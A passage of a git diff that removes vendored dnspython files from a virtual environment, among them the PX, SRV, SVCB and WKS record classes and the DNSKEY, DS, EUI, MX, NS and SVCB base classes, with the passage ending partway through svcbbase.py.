INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import struct - -import dns.exception -import dns.immutable -import dns.name -import dns.rdata -import dns.rdtypes.util - - -@dns.immutable.immutable -class PX(dns.rdata.Rdata): - """PX record.""" - - # see: RFC 2163 - - __slots__ = ["preference", "map822", "mapx400"] - - def __init__(self, rdclass, rdtype, preference, map822, mapx400): - super().__init__(rdclass, rdtype) - self.preference = self._as_uint16(preference) - self.map822 = self._as_name(map822) - self.mapx400 = self._as_name(mapx400) - - def to_text(self, origin=None, relativize=True, **kw): - map822 = self.map822.choose_relativity(origin, relativize) - mapx400 = self.mapx400.choose_relativity(origin, relativize) - return f"{self.preference} {map822} {mapx400}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - preference = tok.get_uint16() - map822 = tok.get_name(origin, relativize, relativize_to) - mapx400 = tok.get_name(origin, relativize, relativize_to) - return cls(rdclass, rdtype, preference, map822, mapx400) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - pref = struct.pack("!H", self.preference) - file.write(pref) - self.map822.to_wire(file, None, origin, canonicalize) - self.mapx400.to_wire(file, None, origin, canonicalize) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - preference = parser.get_uint16() - map822 = parser.get_name(origin) - mapx400 = parser.get_name(origin) - return cls(rdclass, rdtype, preference, map822, mapx400) - - def _processing_priority(self): - return self.preference - - @classmethod - def _processing_order(cls, iterable): - return dns.rdtypes.util.priority_processing_order(iterable) diff --git a/venv/Lib/site-packages/dns/rdtypes/IN/SRV.py b/venv/Lib/site-packages/dns/rdtypes/IN/SRV.py deleted file mode 100644 index 044c10e3a4b3150d217f1ac89f4c0af77edd69e8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/IN/SRV.py +++ /dev/null @@ -1,75 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import struct - -import dns.exception -import dns.immutable -import dns.name -import dns.rdata -import dns.rdtypes.util - - -@dns.immutable.immutable -class SRV(dns.rdata.Rdata): - """SRV record""" - - # see: RFC 2782 - - __slots__ = ["priority", "weight", "port", "target"] - - def __init__(self, rdclass, rdtype, priority, weight, port, target): - super().__init__(rdclass, rdtype) - self.priority = self._as_uint16(priority) - self.weight = self._as_uint16(weight) - self.port = self._as_uint16(port) - self.target = self._as_name(target) - - def to_text(self, origin=None, relativize=True, **kw): - target = self.target.choose_relativity(origin, relativize) - return f"{self.priority} {self.weight} {self.port} {target}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - priority = tok.get_uint16() - weight = tok.get_uint16() - port = tok.get_uint16() - target = tok.get_name(origin, relativize, relativize_to) - return cls(rdclass, rdtype, priority, weight, port, target) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - three_ints = struct.pack("!HHH", self.priority, self.weight, self.port) - file.write(three_ints) - self.target.to_wire(file, compress, origin, canonicalize) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - (priority, weight, port) = parser.get_struct("!HHH") - target = parser.get_name(origin) - return cls(rdclass, rdtype, priority, weight, port, target) - - def _processing_priority(self): - return self.priority - - def _processing_weight(self): - return self.weight - - @classmethod - def _processing_order(cls, iterable): - return dns.rdtypes.util.weighted_processing_order(iterable) diff --git a/venv/Lib/site-packages/dns/rdtypes/IN/SVCB.py b/venv/Lib/site-packages/dns/rdtypes/IN/SVCB.py deleted file mode 100644 index ff3e9327775faf5f8293bbfa5dd8a0fc645bd0c3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/IN/SVCB.py +++ /dev/null @@ -1,9 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import dns.immutable -import dns.rdtypes.svcbbase - - -@dns.immutable.immutable -class SVCB(dns.rdtypes.svcbbase.SVCBBase): - """SVCB record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/IN/WKS.py b/venv/Lib/site-packages/dns/rdtypes/IN/WKS.py deleted file mode 100644 index cc6c3733b7e42544decc38c915a3c1d7bb094419..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/IN/WKS.py +++ /dev/null @@ -1,100 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import socket -import struct - -import dns.immutable -import dns.ipv4 -import dns.rdata - -try: - _proto_tcp = socket.getprotobyname("tcp") - _proto_udp = socket.getprotobyname("udp") -except OSError: - # Fall back to defaults in case /etc/protocols is unavailable. - _proto_tcp = 6 - _proto_udp = 17 - - -@dns.immutable.immutable -class WKS(dns.rdata.Rdata): - """WKS record""" - - # see: RFC 1035 - - __slots__ = ["address", "protocol", "bitmap"] - - def __init__(self, rdclass, rdtype, address, protocol, bitmap): - super().__init__(rdclass, rdtype) - self.address = self._as_ipv4_address(address) - self.protocol = self._as_uint8(protocol) - self.bitmap = self._as_bytes(bitmap) - - def to_text(self, origin=None, relativize=True, **kw): - bits = [] - for i, byte in enumerate(self.bitmap): - for j in range(0, 8): - if byte & (0x80 >> j): - bits.append(str(i * 8 + j)) - text = " ".join(bits) - return f"{self.address} {self.protocol} {text}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - address = tok.get_string() - protocol = tok.get_string() - if protocol.isdigit(): - protocol = int(protocol) - else: - protocol = socket.getprotobyname(protocol) - bitmap = bytearray() - for token in tok.get_remaining(): - value = token.unescape().value - if value.isdigit(): - serv = int(value) - else: - if protocol != _proto_udp and protocol != _proto_tcp: - raise NotImplementedError("protocol must be TCP or UDP") - if protocol == _proto_udp: - protocol_text = "udp" - else: - protocol_text = "tcp" - serv = socket.getservbyname(value, protocol_text) - i = serv // 8 - l = len(bitmap) - if l < i + 1: - for _ in range(l, i + 1): - bitmap.append(0) - bitmap[i] = bitmap[i] | (0x80 >> (serv % 8)) - bitmap = dns.rdata._truncate_bitmap(bitmap) - return cls(rdclass, rdtype, address, protocol, bitmap) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - file.write(dns.ipv4.inet_aton(self.address)) - protocol = struct.pack("!B", self.protocol) - file.write(protocol) - file.write(self.bitmap) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - address = parser.get_bytes(4) - protocol = parser.get_uint8() - bitmap = parser.get_remaining() - return cls(rdclass, rdtype, address, protocol, bitmap) diff --git a/venv/Lib/site-packages/dns/rdtypes/IN/__init__.py b/venv/Lib/site-packages/dns/rdtypes/IN/__init__.py deleted file mode 100644 index dcec4dd24d49ee16a4b2cda0fdb5806b6c13695c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/IN/__init__.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""Class IN rdata type classes.""" - -__all__ = [ - "A", - "AAAA", - "APL", - "DHCID", - "HTTPS", - "IPSECKEY", - "KX", - "NAPTR", - "NSAP", - "NSAP_PTR", - "PX", - "SRV", - "SVCB", - "WKS", -] diff --git a/venv/Lib/site-packages/dns/rdtypes/__init__.py b/venv/Lib/site-packages/dns/rdtypes/__init__.py deleted file mode 100644 index 3997f84c3dd9a8a5e2b20d0740dbf9a379cb6967..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/__init__.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS rdata type classes""" - -__all__ = [ - "ANY", - "IN", - "CH", - "dnskeybase", - "dsbase", - "euibase", - "mxbase", - "nsbase", - "svcbbase", - "tlsabase", - "txtbase", - "util", -] diff --git a/venv/Lib/site-packages/dns/rdtypes/dnskeybase.py b/venv/Lib/site-packages/dns/rdtypes/dnskeybase.py deleted file mode 100644 index fb49f9220d6d1ccaca34707ec2e3a8198f6b2470..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/dnskeybase.py +++ /dev/null @@ -1,83 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2004-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import base64 -import enum -import struct - -import dns.dnssectypes -import dns.exception -import dns.immutable -import dns.rdata - -# wildcard import -__all__ = ["SEP", "REVOKE", "ZONE"] # noqa: F822 - - -class Flag(enum.IntFlag): - SEP = 0x0001 - REVOKE = 0x0080 - ZONE = 0x0100 - - -@dns.immutable.immutable -class DNSKEYBase(dns.rdata.Rdata): - """Base class for rdata that is like a DNSKEY record""" - - __slots__ = ["flags", "protocol", "algorithm", "key"] - - def __init__(self, rdclass, rdtype, flags, protocol, algorithm, key): - super().__init__(rdclass, rdtype) - self.flags = Flag(self._as_uint16(flags)) - self.protocol = self._as_uint8(protocol) - self.algorithm = dns.dnssectypes.Algorithm.make(algorithm) - self.key = self._as_bytes(key) - - def to_text(self, origin=None, relativize=True, **kw): - key = dns.rdata._base64ify(self.key, **kw) # pyright: ignore - return f"{self.flags} {self.protocol} {self.algorithm} {key}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - flags = tok.get_uint16() - protocol = tok.get_uint8() - algorithm = tok.get_string() - b64 = tok.concatenate_remaining_identifiers().encode() - key = base64.b64decode(b64) - return cls(rdclass, rdtype, flags, protocol, algorithm, key) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - header = struct.pack("!HBB", self.flags, self.protocol, self.algorithm) - file.write(header) - file.write(self.key) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - header = parser.get_struct("!HBB") - key = parser.get_remaining() - return cls(rdclass, rdtype, header[0], header[1], header[2], key) - - -### BEGIN generated Flag constants - -SEP = Flag.SEP -REVOKE = Flag.REVOKE -ZONE = Flag.ZONE - -### END generated Flag constants diff --git a/venv/Lib/site-packages/dns/rdtypes/dsbase.py b/venv/Lib/site-packages/dns/rdtypes/dsbase.py deleted file mode 100644 index 8e05c2a75240a5f8aa9c630b50b7698eff3331ac..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/dsbase.py +++ /dev/null @@ -1,83 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2010, 2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import binascii -import struct - -import dns.dnssectypes -import dns.immutable -import dns.rdata -import dns.rdatatype - - -@dns.immutable.immutable -class DSBase(dns.rdata.Rdata): - """Base class for rdata that is like a DS record""" - - __slots__ = ["key_tag", "algorithm", "digest_type", "digest"] - - # Digest types registry: - # https://www.iana.org/assignments/ds-rr-types/ds-rr-types.xhtml - _digest_length_by_type = { - 1: 20, # SHA-1, RFC 3658 Sec. 2.4 - 2: 32, # SHA-256, RFC 4509 Sec. 2.2 - 3: 32, # GOST R 34.11-94, RFC 5933 Sec. 4 in conjunction with RFC 4490 Sec. 2.1 - 4: 48, # SHA-384, RFC 6605 Sec. 2 - } - - def __init__(self, rdclass, rdtype, key_tag, algorithm, digest_type, digest): - super().__init__(rdclass, rdtype) - self.key_tag = self._as_uint16(key_tag) - self.algorithm = dns.dnssectypes.Algorithm.make(algorithm) - self.digest_type = dns.dnssectypes.DSDigest.make(self._as_uint8(digest_type)) - self.digest = self._as_bytes(digest) - try: - if len(self.digest) != self._digest_length_by_type[self.digest_type]: - raise ValueError("digest length inconsistent with digest type") - except KeyError: - if self.digest_type == 0: # reserved, RFC 3658 Sec. 2.4 - raise ValueError("digest type 0 is reserved") - - def to_text(self, origin=None, relativize=True, **kw): - kw = kw.copy() - chunksize = kw.pop("chunksize", 128) - digest = dns.rdata._hexify( - self.digest, chunksize=chunksize, **kw # pyright: ignore - ) - return f"{self.key_tag} {self.algorithm} {self.digest_type} {digest}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - key_tag = tok.get_uint16() - algorithm = tok.get_string() - digest_type = tok.get_uint8() - digest = tok.concatenate_remaining_identifiers().encode() - digest = binascii.unhexlify(digest) - return cls(rdclass, rdtype, key_tag, algorithm, digest_type, digest) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - header = struct.pack("!HBB", self.key_tag, self.algorithm, self.digest_type) - file.write(header) - file.write(self.digest) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - header = parser.get_struct("!HBB") - digest = parser.get_remaining() - return cls(rdclass, rdtype, header[0], header[1], header[2], digest) diff --git a/venv/Lib/site-packages/dns/rdtypes/euibase.py b/venv/Lib/site-packages/dns/rdtypes/euibase.py deleted file mode 100644 index 4eb82eb5e842d3b00dd880a10fbe16f40ca47c72..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/euibase.py +++ /dev/null @@ -1,73 +0,0 @@ -# Copyright (C) 2015 Red Hat, Inc. -# Author: Petr Spacek -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED 'AS IS' AND RED HAT DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import binascii - -import dns.exception -import dns.immutable -import dns.rdata - - -@dns.immutable.immutable -class EUIBase(dns.rdata.Rdata): - """EUIxx record""" - - # see: rfc7043.txt - - __slots__ = ["eui"] - # redefine these in subclasses - byte_len = 0 - text_len = 0 - # byte_len = 6 # 0123456789ab (in hex) - # text_len = byte_len * 3 - 1 # 01-23-45-67-89-ab - - def __init__(self, rdclass, rdtype, eui): - super().__init__(rdclass, rdtype) - self.eui = self._as_bytes(eui) - if len(self.eui) != self.byte_len: - raise dns.exception.FormError( - f"EUI{self.byte_len * 8} rdata has to have {self.byte_len} bytes" - ) - - def to_text(self, origin=None, relativize=True, **kw): - return dns.rdata._hexify(self.eui, chunksize=2, separator=b"-", **kw) - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - text = tok.get_string() - if len(text) != cls.text_len: - raise dns.exception.SyntaxError( - f"Input text must have {cls.text_len} characters" - ) - for i in range(2, cls.byte_len * 3 - 1, 3): - if text[i] != "-": - raise dns.exception.SyntaxError(f"Dash expected at position {i}") - text = text.replace("-", "") - try: - data = binascii.unhexlify(text.encode()) - except (ValueError, TypeError) as ex: - raise dns.exception.SyntaxError(f"Hex decoding error: {str(ex)}") - return cls(rdclass, rdtype, data) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - file.write(self.eui) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - eui = parser.get_bytes(cls.byte_len) - return cls(rdclass, rdtype, eui) diff --git a/venv/Lib/site-packages/dns/rdtypes/mxbase.py b/venv/Lib/site-packages/dns/rdtypes/mxbase.py deleted file mode 100644 index 5d33e61f62358845d307b81ffad47324177512d1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/mxbase.py +++ /dev/null @@ -1,87 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""MX-like base classes.""" - -import struct - -import dns.exception -import dns.immutable -import dns.name -import dns.rdata -import dns.rdtypes.util - - -@dns.immutable.immutable -class MXBase(dns.rdata.Rdata): - """Base class for rdata that is like an MX record.""" - - __slots__ = ["preference", "exchange"] - - def __init__(self, rdclass, rdtype, preference, exchange): - super().__init__(rdclass, rdtype) - self.preference = self._as_uint16(preference) - self.exchange = self._as_name(exchange) - - def to_text(self, origin=None, relativize=True, **kw): - exchange = self.exchange.choose_relativity(origin, relativize) - return f"{self.preference} {exchange}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - preference = tok.get_uint16() - exchange = tok.get_name(origin, relativize, relativize_to) - return cls(rdclass, rdtype, preference, exchange) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - pref = struct.pack("!H", self.preference) - file.write(pref) - self.exchange.to_wire(file, compress, origin, canonicalize) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - preference = parser.get_uint16() - exchange = parser.get_name(origin) - return cls(rdclass, rdtype, preference, exchange) - - def _processing_priority(self): - return self.preference - - @classmethod - def _processing_order(cls, iterable): - return dns.rdtypes.util.priority_processing_order(iterable) - - -@dns.immutable.immutable -class UncompressedMX(MXBase): - """Base class for rdata that is like an MX record, but whose name - is not compressed when converted to DNS wire format, and whose - digestable form is not downcased.""" - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - super()._to_wire(file, None, origin, False) - - -@dns.immutable.immutable -class UncompressedDowncasingMX(MXBase): - """Base class for rdata that is like an MX record, but whose name - is not compressed when convert to DNS wire format.""" - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - super()._to_wire(file, None, origin, canonicalize) diff --git a/venv/Lib/site-packages/dns/rdtypes/nsbase.py b/venv/Lib/site-packages/dns/rdtypes/nsbase.py deleted file mode 100644 index 904224f0e5bef5ef19ebb56c324129c3ae3e7071..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/nsbase.py +++ /dev/null @@ -1,63 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""NS-like base classes.""" - -import dns.exception -import dns.immutable -import dns.name -import dns.rdata - - -@dns.immutable.immutable -class NSBase(dns.rdata.Rdata): - """Base class for rdata that is like an NS record.""" - - __slots__ = ["target"] - - def __init__(self, rdclass, rdtype, target): - super().__init__(rdclass, rdtype) - self.target = self._as_name(target) - - def to_text(self, origin=None, relativize=True, **kw): - target = self.target.choose_relativity(origin, relativize) - return str(target) - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - target = tok.get_name(origin, relativize, relativize_to) - return cls(rdclass, rdtype, target) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - self.target.to_wire(file, compress, origin, canonicalize) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - target = parser.get_name(origin) - return cls(rdclass, rdtype, target) - - -@dns.immutable.immutable -class UncompressedNS(NSBase): - """Base class for rdata that is like an NS record, but whose name - is not compressed when convert to DNS wire format, and whose - digestable form is not downcased.""" - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - self.target.to_wire(file, None, origin, False) diff --git a/venv/Lib/site-packages/dns/rdtypes/svcbbase.py b/venv/Lib/site-packages/dns/rdtypes/svcbbase.py deleted file mode 100644 index 7338b664dad1028bb05f32cdf41dbda167498e01..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/svcbbase.py +++ /dev/null @@ -1,587 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import base64 -import enum -import struct -from typing import Any, Dict - -import dns.enum -import dns.exception -import dns.immutable -import dns.ipv4 -import dns.ipv6 -import dns.name -import dns.rdata -import dns.rdtypes.util -import dns.renderer -import dns.tokenizer -import dns.wire - -# Until there is an RFC, this module is experimental and may be changed in -# incompatible ways. - - -class UnknownParamKey(dns.exception.DNSException): - """Unknown SVCB ParamKey""" - - -class ParamKey(dns.enum.IntEnum): - """SVCB ParamKey""" - - MANDATORY = 0 - ALPN = 1 - NO_DEFAULT_ALPN = 2 - PORT = 3 - IPV4HINT = 4 - ECH = 5 - IPV6HINT = 6 - DOHPATH = 7 - OHTTP = 8 - - @classmethod - def _maximum(cls): - return 65535 - - @classmethod - def _short_name(cls): - return "SVCBParamKey" - - @classmethod - def _prefix(cls): - return "KEY" - - @classmethod - def _unknown_exception_class(cls): - return UnknownParamKey - - -class Emptiness(enum.IntEnum): - NEVER = 0 - ALWAYS = 1 - ALLOWED = 2 - - -def _validate_key(key): - force_generic = False - if isinstance(key, bytes): - # We decode to latin-1 so we get 0-255 as valid and do NOT interpret - # UTF-8 sequences - key = key.decode("latin-1") - if isinstance(key, str): - if key.lower().startswith("key"): - force_generic = True - if key[3:].startswith("0") and len(key) != 4: - # key has leading zeros - raise ValueError("leading zeros in key") - key = key.replace("-", "_") - return (ParamKey.make(key), force_generic) - - -def key_to_text(key): - return ParamKey.to_text(key).replace("_", "-").lower() - - -# Like rdata escapify, but escapes ',' too. - -_escaped = b'",\\' - - -def _escapify(qstring): - text = "" - for c in qstring: - if c in _escaped: - text += "\\" + chr(c) - elif c >= 0x20 and c < 0x7F: - text += chr(c) - else: - text += f"\\{c:03d}" - return text - - -def _unescape(value: str) -> bytes: - if value == "": - return b"" - unescaped = b"" - l = len(value) - i = 0 - while i < l: - c = value[i] - i += 1 - if c == "\\": - if i >= l: # pragma: no cover (can't happen via tokenizer get()) - raise dns.exception.UnexpectedEnd - c = value[i] - i += 1 - if c.isdigit(): - if i >= l: - raise dns.exception.UnexpectedEnd - c2 = value[i] - i += 1 - if i >= l: - raise dns.exception.UnexpectedEnd - c3 = value[i] - i += 1 - if not (c2.isdigit() and c3.isdigit()): - raise dns.exception.SyntaxError - codepoint = int(c) * 100 + int(c2) * 10 + int(c3) - if codepoint > 255: - raise dns.exception.SyntaxError - unescaped += b"%c" % (codepoint) - continue - unescaped += c.encode() - return unescaped - - -def _split(value): - l = len(value) - i = 0 - items = [] - unescaped = b"" - while i < l: - c = value[i] - i += 1 - if c == ord("\\"): - if i >= l: # pragma: no cover (can't happen via tokenizer get()) - raise dns.exception.UnexpectedEnd - c = value[i] - i += 1 - unescaped += b"%c" % (c) - elif c == ord(","): - items.append(unescaped) - unescaped = b"" - else: - unescaped += b"%c" % (c) - items.append(unescaped) - return items - - -@dns.immutable.immutable -class Param: - """Abstract base class for SVCB parameters""" - - @classmethod - def emptiness(cls) -> Emptiness: - return Emptiness.NEVER - - -@dns.immutable.immutable -class GenericParam(Param): - """Generic SVCB parameter""" - - def __init__(self, value): - self.value = dns.rdata.Rdata._as_bytes(value, True) - - @classmethod - def emptiness(cls): - 